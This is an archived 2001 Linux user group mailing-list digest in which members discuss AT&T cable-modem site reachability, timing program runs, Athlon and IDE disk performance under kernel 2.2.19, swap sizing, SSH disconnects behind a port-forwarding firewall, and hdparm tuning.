\_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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So I doubt it. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jpschewe at mtu.net Tue Aug 14 22:43:09 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] AT&T filtering sites? Message-ID: Off and on I'm not able to get to some sites from my cable modem, but if I proxy through my work proxy server I can get to the sites. I've confirmed this with another AT&T user down the street so it's not just my routing table. Anyone else notice this? Sites that come and go include: http://slashdot.org http://slashdot.com http://www.air1.com http://linuxgazette.com http://www.csc.calpoly.edu -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From sos at zjod.net Tue Aug 14 23:03:55 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: from "Jon Schewe" at Aug 14, 2001 10:43:09 PM Message-ID: <200108150403.XAA16849@zjod.net> No, not for those specific sites. However, a periodic ping of the nameservers that AT&T's DHCP junk points my box to will usually (in my neighborhood, anyway) show variations on response time ranging anywhere from between 9 ms all the way up to over a full second... along with some dropped packets. This kinda thing seems worse during "prime time" (11am to around 8pm), and was especially bad during the worst of the CodeRed attacks. It almost looks like AT&T's nameservers are/were undergoing some sort of packet storm. Whenever this gets really bad, I manually add a third (non-AT&T) nameserver's tcp/ip address to my /etc/resolv.conf file. This seems to get most of the nslookup glitches. -S Jon Schewe wrote: > > Off and on I'm not able to get to some sites from my cable modem, but if I > proxy through my work proxy server I can get to the sites. I've confirmed > this with another AT&T user down the street so it's not just my routing > table. Anyone else notice this? > > Sites that come and go include: > http://slashdot.org > http://slashdot.com > http://www.air1.com > http://linuxgazette.com > http://www.csc.calpoly.edu > From tanner at real-time.com Wed Aug 15 02:41:12 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? Message-ID: <20010815024112.B26337@real-time.com> Anyone else seeing terrible performance on AMD Athlong processors? In particular I'm see racid performance on serving up web content. We are using kernel 2.2.19. It's not a disk issue, everything is in core and no swapping is taking place. Anyone? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From eng at pinenet.com Wed Aug 15 03:37:49 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <200108150403.XAA16849@zjod.net> References: <200108150403.XAA16849@zjod.net> Message-ID: <20010815.8374900@linwin.mshome.net> Very clever detective work. ATT owes their customers (and the internet community) an explaination. Nobody is supposed to own the internet any more than the public road system. You pay your access fee. If ATT (or MSN, etc.) tries to become a traffic cop, bring in the lawyers. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/14/01, 11:03:55 PM, sos@zjod.net (Steve Siegfried) wrote regarding Re: [TCLUG] AT&T filtering sites?.sdm: > No, not for those specific sites. > However, a periodic ping of the nameservers that AT&T's DHCP junk points > my box to will usually (in my neighborhood, anyway) show variations on > response time ranging anywhere from between 9 ms all the way up to over > a full second... along with some dropped packets. > This kinda thing seems worse during "prime time" (11am to around 8pm), > and was especially bad during the worst of the CodeRed attacks. > It almost looks like AT&T's nameservers are/were undergoing some sort of > packet storm. > Whenever this gets really bad, I manually add a third (non-AT&T) > nameserver's tcp/ip address to my /etc/resolv.conf file. This seems to > get most of the nslookup glitches. > -S > Jon Schewe wrote: > > > > Off and on I'm not able to get to some sites from my cable modem, but if I > > proxy through my work proxy server I can get to the sites. I've confirmed > > this with another AT&T user down the street so it's not just my routing > > table. Anyone else notice this? > > > > Sites that come and go include: > > http://slashdot.org > > http://slashdot.com > > http://www.air1.com > > http://linuxgazette.com > > http://www.csc.calpoly.edu > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tanner at real-time.com Wed Aug 15 04:03:46 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] Timing program execution? Message-ID: <20010815040346.C26337@real-time.com> How do I get the most accurate timing of a program execution. Is there something like this: start timer excute long program stop timer print timer ? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jpschewe at mtu.net Wed Aug 15 08:06:50 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <200108150403.XAA16849@zjod.net> References: <200108150403.XAA16849@zjod.net> Message-ID: I've solved the nameserver issues by running my own nameserver. I've given up on theirs. sos@zjod.net (Steve Siegfried) writes: > No, not for those specific sites. > > However, a periodic ping of the nameservers that AT&T's DHCP junk points > my box to will usually (in my neighborhood, anyway) show variations on > response time ranging anywhere from between 9 ms all the way up to over > a full second... along with some dropped packets. > > This kinda thing seems worse during "prime time" (11am to around 8pm), > and was especially bad during the worst of the CodeRed attacks. > > It almost looks like AT&T's nameservers are/were undergoing some sort of > packet storm. > > Whenever this gets really bad, I manually add a third (non-AT&T) > nameserver's tcp/ip address to my /etc/resolv.conf file. This seems to > get most of the nslookup glitches. > > -S > > Jon Schewe wrote: > > > > Off and on I'm not able to get to some sites from my cable modem, but if I > > proxy through my work proxy server I can get to the sites. I've confirmed > > this with another AT&T user down the street so it's not just my routing > > table. Anyone else notice this? > > > > Sites that come and go include: > > http://slashdot.org > > http://slashdot.com > > http://www.air1.com > > http://linuxgazette.com > > http://www.csc.calpoly.edu > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From andy at theasis.com Wed Aug 15 03:10:40 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] Timing program execution? In-Reply-To: <20010815040346.C26337@real-time.com> Message-ID: you mean like time(2) ?? $ time ls real 0m0.041s user 0m0.030s sys 0m0.010s Andy > How do I get the most accurate timing of a program execution. > > Is there something like this: > > start timer > excute long program > stop timer > print timer > > ? > > From scott.w.fischer at att.net Wed Aug 15 08:21:32 2001 From: scott.w.fischer at att.net (scott.w.fischer@att.net) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] Timing program execution? Message-ID: <20010815132133.XFJS3707.mtiwmhc24.worldnet.att.net@webmail.worldnet.att.net> % time programname -- "Don't pray when it rains if you don't pray when the sun shines." - Satchel Paige > How do I get the most accurate timing of a program execution. > > Is there something like this: > > start timer > excute long program > stop timer > print timer > > ? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Wed Aug 15 08:22:09 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <20010815.8374900@linwin.mshome.net> Message-ID: On Wed, 15 Aug 2001, Rick Engebretson wrote: > Very clever detective work. ATT owes their customers (and the internet > community) an explaination. Nobody is supposed to own the internet any > more than the public road system. You pay your access fee. If ATT (or > MSN, etc.) tries to become a traffic cop, bring in the lawyers. I bet the AUP specifically says that they aren't responsible for any unreachability, etc.. which also means that they can cause the unreachability if they so desire. From nate at techie.com Wed Aug 15 08:27:19 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:16 2005 Subject: [TCLUG] Timing program execution? In-Reply-To: <20010815040346.C26337@real-time.com>; from tanner@real-time.com on Wed, Aug 15, 2001 at 04:03:46AM -0500 References: <20010815040346.C26337@real-time.com> Message-ID: <20010815082719.B3223@candle.mn.mediaone.net> On Wed, Aug 15, 2001 at 04:03:46AM -0500, Bob Tanner wrote: > Is there something like this: > > start timer > excute long program > stop timer > print timer time Nate From sos at zjod.net Wed Aug 15 08:29:25 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:16 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: from "Nate Carlson" at Aug 15, 2001 08:22:09 AM Message-ID: <200108151329.IAA00406@zjod.net> In AT&T's defense, I didn't mention that when I've called to complain, they've said, "Yeah, we know. We're working on it." And, in truth, the delays _have_ gotten better than they used to be. And Nate's right, if they're being flooded, it's not exactly their fault. -S Nate Carlson wrote: > > On Wed, 15 Aug 2001, Rick Engebretson wrote: > > Very clever detective work. ATT owes their customers (and the internet > > community) an explaination. Nobody is supposed to own the internet any > > more than the public road system. You pay your access fee. If ATT (or > > MSN, etc.) tries to become a traffic cop, bring in the lawyers. > > I bet the AUP specifically says that they aren't responsible for any > unreachability, etc.. which also means that they can cause the > unreachability if they so desire. > > >From the discussions I've read on this topic, something like that'd never > make it in court.. 'course, if you wanna try it, we'd all be glad to see > if someone can actually pull it off. :) > > Anyways, if they're getting flooded, it's not exactly their fault.. From list at slushpupie.com Wed Aug 15 08:37:30 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:17 2005 Subject: [TCLUG] Re: SSH Timeouts Message-ID: Someone else posted about this problem not too long ago, but there never was a resolution to it. I just set up a new firewall, and my SSH sessions keep dropping. I am using port forwarding (ipmasqadmn portfw) to send port 22->10.0.0.25:22 Also, I set the timeouts on ipchains to 4 hours. Everything seems fine for the most part, but it seems that when I fire up vi it drops me in a matter of minutes. I thought it had been happening at random, but I can constantly drop my connection by using vi. I think it also happens at other times. Does anyone know what might be causing this? I know vi cant be causing the disconnect, and I have been able to keep some sessions using vi, so it is not 100% of the time, but it sure is a lot of the time. Any other ideas to help fix this? Jay -- Jay Kline list@slushpupie.com http://www.slushpupie.com/ From natecars at real-time.com Wed Aug 15 08:45:59 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:17 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <200108151329.IAA00406@zjod.net> Message-ID: On Wed, 15 Aug 2001, Steve Siegfried wrote: > And Nate's right, if they're being flooded, it's not exactly their fault. (Although there is quite a bit you can do about flooding, if your network's configured right.. but that's a whole different topic. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From nate at techie.com Wed Aug 15 08:59:03 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:17 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: ; from natecars@real-time.com on Wed, Aug 15, 2001 at 08:22:09AM -0500 References: <20010815.8374900@linwin.mshome.net> Message-ID: <20010815085903.A1091@candle.mn.mediaone.net> On Wed, Aug 15, 2001 at 08:22:09AM -0500, Nate Carlson wrote: > I bet the AUP specifically says that they aren't responsible for any > unreachability, etc.. which also means that they can cause the > unreachability if they so desire. They probably aren't, but if you consistently can't reach somewhere, contact them. I wasn't able to get to non-us.debian.org for a long time. It was obvious from the traceroute output that a router was messed up. It took several support requests and a call from a network tech (I wish I got his number) to get it fixed. > Anyways, if they're getting flooded, it's not exactly their fault.. Is there any good way to detect this? I would love to see real-time traffic stats on their major routers. Nate From thudak at sistina.com Wed Aug 15 10:14:47 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:17 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? In-Reply-To: <20010815024112.B26337@real-time.com>; from tanner@real-time.com on Wed, Aug 15, 2001 at 02:41:12AM -0500 References: <20010815024112.B26337@real-time.com> Message-ID: <20010815101447.A19402@localhost> On Wed, Aug 15, 2001 at 02:41:12AM -0500, Bob Tanner wrote: >Anyone else seeing terrible performance on AMD Athlong processors? My dad's 1Ghz is blazing fast. >In particular I'm see racid performance on serving up web content. Hmmmm, and you say it's not disk? (Don't mean to be skeptical) but how do you know, what's the disk config like. raid? block size? separate disk on separate bus for serving up content? >We are using kernel 2.2.19. It's not a disk issue, everything is in core and no >swapping is taking place. What are you using to bench the content serving? Bonnie? We need more info Bob! :-) I'd say throw a couple stick of DDR2100 in and don't worry about it. What version Athlon is it? 200 or 266 FSB, how much cache? (I know stock athlons get 128K L1, but I've seen then with 384.) What kind of motherboard? AJ's 1ghz machine w/ scsi disks is by far the fastest desktop in our office, it just hauls ass. -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010815/03968b9e/attachment.pgp From thudak at sistina.com Wed Aug 15 10:19:18 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010814211432.A15896@real-time.com>; from tanner@real-time.com on Tue, Aug 14, 2001 at 09:14:32PM -0500 References: <20010814053051.A18164@real-time.com> <20010814210941.592b5ff8.hick0088@tc.umn.edu> <20010814211432.A15896@real-time.com> Message-ID: <20010815101918.B19402@localhost> On Tue, Aug 14, 2001 at 09:14:32PM -0500, Bob Tanner wrote: >I got 512Mb RAM and 1.0Gb of swap. So I doubt it. GAH!!!! Get rid of that much swap!!! with 512 Meg of ram you shouldn't even touch the swap! (Remember, the whole idea behind it is that RAM was expensive, much more so that disk space for equivalent sizes so dump some stuff that was intended for RAM to disk when it's not a high priority etc.) That much swap WILL affect your system performance. Ideally you want 1.5x the amount of ram you have, that's 768, but since you have half a gig, you might want to consider going with 256M swap or less. Or none at all. Good luck, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010815/a038b702/attachment.pgp From list at slushpupie.com Wed Aug 15 10:31:39 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815101918.B19402@localhost> Message-ID: I agree.. I have found that even with 384M memory I almost never touch swap, and that is with several X servers running (those little memory hogs).. 128M swap is what I have, I found anything more than that is wasted space. Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Tom Hudak Sent: Wednesday, August 15, 2001 10:19 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard On Tue, Aug 14, 2001 at 09:14:32PM -0500, Bob Tanner wrote: >I got 512Mb RAM and 1.0Gb of swap. So I doubt it. GAH!!!! Get rid of that much swap!!! with 512 Meg of ram you shouldn't even touch the swap! (Remember, the whole idea behind it is that RAM was expensive, much more so that disk space for equivalent sizes so dump some stuff that was intended for RAM to disk when it's not a high priority etc.) That much swap WILL affect your system performance. Ideally you want 1.5x the amount of ram you have, that's 768, but since you have half a gig, you might want to consider going with 256M swap or less. Or none at all. Good luck, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... From blayer at qwest.net Wed Aug 15 10:51:17 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? In-Reply-To: <20010815101447.A19402@localhost> References: <20010815024112.B26337@real-time.com> <20010815101447.A19402@localhost> Message-ID: <20010815105117.0288a659.blayer@qwest.net> On Wed, 15 Aug 2001 10:14:47 -0500 "Tom Hudak" wrote: > On Wed, Aug 15, 2001 at 02:41:12AM -0500, Bob Tanner wrote: > >Anyone else seeing terrible performance on AMD Athlong processors? > My dad's 1Ghz is blazing fast. I've got a Duron 700 @ 850Mhz - this is the '200Mhz' FSB part, with 512MB of PC133 RAM on an ABIT KT-7 RAID motherboard. It absolutely screams, it is the all-around fastest desktop I have ever used on any regular basis. Disk performance is very acceptable too... (hdparm is run from an xterm in this case) root@Homer:/home/UserX/gnut# hdparm -Tt /dev/hde /dev/hde: Timing buffer-cache reads: 128 MB in 0.85 seconds =150.59 MB/sec Timing buffered disk reads: 64 MB in 2.21 seconds = 28.96 MB/sec -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From veldy at veldy.net Wed Aug 15 10:56:33 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? References: <20010815024112.B26337@real-time.com> <20010815101447.A19402@localhost> Message-ID: <00b601c125a2$dc1703b0$3028680a@tgt.com> Most of the 1 GHz Athlons use the VIA chipset. You do NOT get proper performance from the 2.2.19 kernel on the VIA chipsets, as you can not get UDMA66/100 to enable properly. On the 2.4 kernel it appears to work flawlessly. Definitely, you can expect disk I/O performance problems using the 2.2.19 kernel with just about any Athlon system. This is ALL assuming IDE of course. Since the original poster did not specify, it is fairly safe to assume such. Somebody with SCSI and/or RAID would usually know to say so. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Tom Hudak" To: Sent: Wednesday, August 15, 2001 10:14 AM Subject: Re: [TCLUG] Poor performance of AMD 1 Ghz? On Wed, Aug 15, 2001 at 02:41:12AM -0500, Bob Tanner wrote: >Anyone else seeing terrible performance on AMD Athlong processors? My dad's 1Ghz is blazing fast. >In particular I'm see racid performance on serving up web content. Hmmmm, and you say it's not disk? (Don't mean to be skeptical) but how do you know, what's the disk config like. raid? block size? separate disk on separate bus for serving up content? >We are using kernel 2.2.19. It's not a disk issue, everything is in core and no >swapping is taking place. What are you using to bench the content serving? Bonnie? We need more info Bob! :-) I'd say throw a couple stick of DDR2100 in and don't worry about it. What version Athlon is it? 200 or 266 FSB, how much cache? (I know stock athlons get 128K L1, but I've seen then with 384.) What kind of motherboard? AJ's 1ghz machine w/ scsi disks is by far the fastest desktop in our office, it just hauls ass. -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... From veldy at veldy.net Wed Aug 15 11:00:38 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? References: <20010815024112.B26337@real-time.com><20010815101447.A19402@localhost> <20010815105117.0288a659.blayer@qwest.net> Message-ID: <00be01c125a3$6e03e310$3028680a@tgt.com> /dev/hdb: Timing buffer-cache reads: 128 MB in 0.79 seconds =162.03 MB/sec Timing buffered disk reads: 64 MB in 2.88 seconds = 22.22 MB/sec On my Athlon Classic 600MHz system using an ASUS KV7 board with 7200 rpm UDMA 100 (running at 66) Western Digital IDE drives. Kernel is 2.4.2 -- stock Redhat. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Bill Layer" To: Sent: Wednesday, August 15, 2001 10:51 AM Subject: Re: [TCLUG] Poor performance of AMD 1 Ghz? > On Wed, 15 Aug 2001 10:14:47 -0500 > "Tom Hudak" wrote: > > > On Wed, Aug 15, 2001 at 02:41:12AM -0500, Bob Tanner wrote: > > >Anyone else seeing terrible performance on AMD Athlong processors? > > My dad's 1Ghz is blazing fast. > > I've got a Duron 700 @ 850Mhz - this is the '200Mhz' FSB part, with 512MB > of PC133 RAM on an ABIT KT-7 RAID motherboard. It absolutely screams, it > is the all-around fastest desktop I have ever used on any regular basis. > > Disk performance is very acceptable too... (hdparm is run from an xterm in > this case) > > root@Homer:/home/UserX/gnut# hdparm -Tt /dev/hde > > /dev/hde: > Timing buffer-cache reads: 128 MB in 0.85 seconds =150.59 MB/sec > Timing buffered disk reads: 64 MB in 2.21 seconds = 28.96 MB/sec > > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From dieman+tclug at ringworld.org Wed Aug 15 11:03:52 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <20010815085903.A1091@candle.mn.mediaone.net> References: <20010815.8374900@linwin.mshome.net> <20010815085903.A1091@candle.mn.mediaone.net> Message-ID: <20010815110352.I30433@ringworld.org> > They probably aren't, but if you consistently can't reach somewhere, > contact them. I wasn't able to get to non-us.debian.org for a long > time. It was obvious from the traceroute output that a router was $20 pandora.d.o is on a AS that has few paths from AT&T's networks. Probally *not* under their control when the AS path dissapears and the packets stop at AT&T's borders.... -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Wed Aug 15 11:04:59 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:18 2005 Subject: [TCLUG] Timing program execution? In-Reply-To: <20010815040346.C26337@real-time.com> References: <20010815040346.C26337@real-time.com> Message-ID: <20010815110459.J30433@ringworld.org> * Bob Tanner [010815 08:01]: > How do I get the most accurate timing of a program execution. time ls... 0.010u 0.030s 0:00.63 6.3% 0+0k 0+0io 133pf+0w -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jethro at freakzilla.com Wed Aug 15 11:10:28 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing Message-ID: Hey, That whole athlon performance thing got me onto this. I've got an athlon system, it's usually lightning fast but sometimes it just CRAWLS to a standstill. Yes, when intensive disk IO is going on - unrar and uudecode kill my machine. I've done the hdparm thing, but I really don't know what to look for/at. Anyone want to throw some HDD optimization tips out to the list? Including "Enable this in the kernel" etc. For example, I've got append-"idebus=100" in lilo.conf, but I don't know if that actually DOES anything. -Yaron -- From natecars at real-time.com Wed Aug 15 11:13:36 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815101918.B19402@localhost> Message-ID: On Wed, 15 Aug 2001, Tom Hudak wrote: > >I got 512Mb RAM and 1.0Gb of swap. So I doubt it. > GAH!!!! Get rid of that much swap!!! with 512 Meg of ram you shouldn't even > touch the swap! (Remember, the whole idea behind it is that RAM was expensive, > much more so that disk space for equivalent sizes so dump some stuff that was > intended for RAM to disk when it's not a high priority etc.) > > That much swap WILL affect your system performance. Ideally you want 1.5x the > amount of ram you have, that's 768, but since you have half a gig, you might > want to consider going with 256M swap or less. Or none at all. Hmm.. isn't the rule of thumb to have double the swap than you have memory? IIRC, there are some good reasons for this, that I'm sure Carl can detail when he gets back from vacation. Oh, and if you work here, 512mb isn't enough. You run out quick. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Aug 15 11:14:19 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? In-Reply-To: <00b601c125a2$dc1703b0$3028680a@tgt.com> Message-ID: On Wed, 15 Aug 2001, Thomas T. Veldhouse wrote: > Most of the 1 GHz Athlons use the VIA chipset. You do NOT get proper > performance from the 2.2.19 kernel on the VIA chipsets, as you can not get > UDMA66/100 to enable properly. On the 2.4 kernel it appears to work > flawlessly. Definitely, you can expect disk I/O performance problems using > the 2.2.19 kernel with just about any Athlon system. > > This is ALL assuming IDE of course. Since the original poster did not > specify, it is fairly safe to assume such. Somebody with SCSI and/or RAID > would usually know to say so. dpt_i2o raid controller (adaptec 2100s).. bob forgot to mention it. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From sos at zjod.net Wed Aug 15 11:17:59 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: from "Jon Schewe" at Aug 15, 2001 08:06:50 AM Message-ID: <200108151617.LAA25136@zjod.net> Jon Schewe wrote: > > I've solved the nameserver issues by running my own nameserver. I've given up > on theirs. > And are you still unable to reach some sites, or did this cure the problem? Curious minds want to know'ildy, -S From mfraase at farces.com Wed Aug 15 11:18:42 2001 From: mfraase at farces.com (Michael Fraase) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <200108151558.f7FFwne04672@sprite.real-time.com> Message-ID: <005e01c125a5$f348ca70$79732ad0@further> Actually, there maybe something here that's being overlooked. If a common carrier is blocking access to specific sites (or specific IP blocks) they're arguably no longer a common carrier. -- Michael Fraase ARTS & FARCES LLC mfraase@farces.com www.farces.com PGP Fingerprint: 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > -----Original Message----- > On Wed, 15 Aug 2001, Rick Engebretson wrote: > > Very clever detective work. ATT owes their customers (and > the internet > > community) an explaination. Nobody is supposed to own the > internet any > > more than the public road system. You pay your access fee. > If ATT (or > > MSN, etc.) tries to become a traffic cop, bring in the lawyers. > > I bet the AUP specifically says that they aren't responsible > for any unreachability, etc.. which also means that they can > cause the unreachability if they so desire. > > From the discussions I've read on this topic, something like > that'd never make it in court.. 'course, if you wanna try it, > we'd all be glad to see if someone can actually pull it off. :) > > Anyways, if they're getting flooded, it's not exactly their fault.. From florin at iucha.net Wed Aug 15 11:25:54 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: ; from jethro@freakzilla.com on Wed, Aug 15, 2001 at 11:10:28AM -0500 References: Message-ID: <20010815112554.B16005@beaver.iucha.org> On Wed, Aug 15, 2001 at 11:10:28AM -0500, Yaron wrote: > Hey, > > That whole athlon performance thing got me onto this. I've got an athlon > system, it's usually lightning fast but sometimes it just CRAWLS to a > standstill. Yes, when intensive disk IO is going on - unrar and uudecode > kill my machine. > > I've done the hdparm thing, but I really don't know what to look for/at. > Anyone want to throw some HDD optimization tips out to the list? Including > "Enable this in the kernel" etc. > > For example, I've got append-"idebus=100" in lilo.conf, but I don't know > if that actually DOES anything. hdparm -d1 -c3 -m16 -u1 /dev/hdX You might want to play with -X66 after reading the manual. Or get scuzzy... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From nate at techie.com Wed Aug 15 11:31:34 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <20010815110352.I30433@ringworld.org>; from dieman+tclug@ringworld.org on Wed, Aug 15, 2001 at 11:03:52AM -0500 References: <20010815.8374900@linwin.mshome.net> <20010815085903.A1091@candle.mn.mediaone.net> <20010815110352.I30433@ringworld.org> Message-ID: <20010815113134.A18467@candle.mn.mediaone.net> On Wed, Aug 15, 2001 at 11:03:52AM -0500, Scott Dier wrote: > > They probably aren't, but if you consistently can't reach somewhere, > > contact them. I wasn't able to get to non-us.debian.org for a long > > time. It was obvious from the traceroute output that a router was > > $20 pandora.d.o is on a AS that has few paths from AT&T's networks. > Probally *not* under their control when the AS path dissapears and the > packets stop at AT&T's borders.... This was definitely something inside AT&T's borders because it was also affecting connectivity to some of AT&T's servers. Anyway, here's a traceroute to pandora.debian.org. I don't know what you mean by "AS". traceroute to pandora.debian.org (132.229.131.40), 64 hops max, 40 byte packets 1 nic-245-c6-1.mn.mediaone.net (24.245.6.1) 21.260 ms 10.278 ms 11.573 ms 2 msp-igh-7513-a-fe-4-0-0.mn.mediaone.net (24.31.1.41) 9.542 ms 10.619 ms 9.827 ms 3 msp-mhe-gsr-a-pos-0-3.mn.mediaone.net (24.31.1.65) 10.360 ms 8.311 ms 10.974 ms 4 msp-mhe-gsr-b-pos-1-0.mn.mediaone.net (24.31.1.2) 11.220 ms 10.287 ms 9.971 ms 5 DETMI-GSR-B-pos-1-0.mw.mediaone.net (24.131.0.53) 26.19 ms 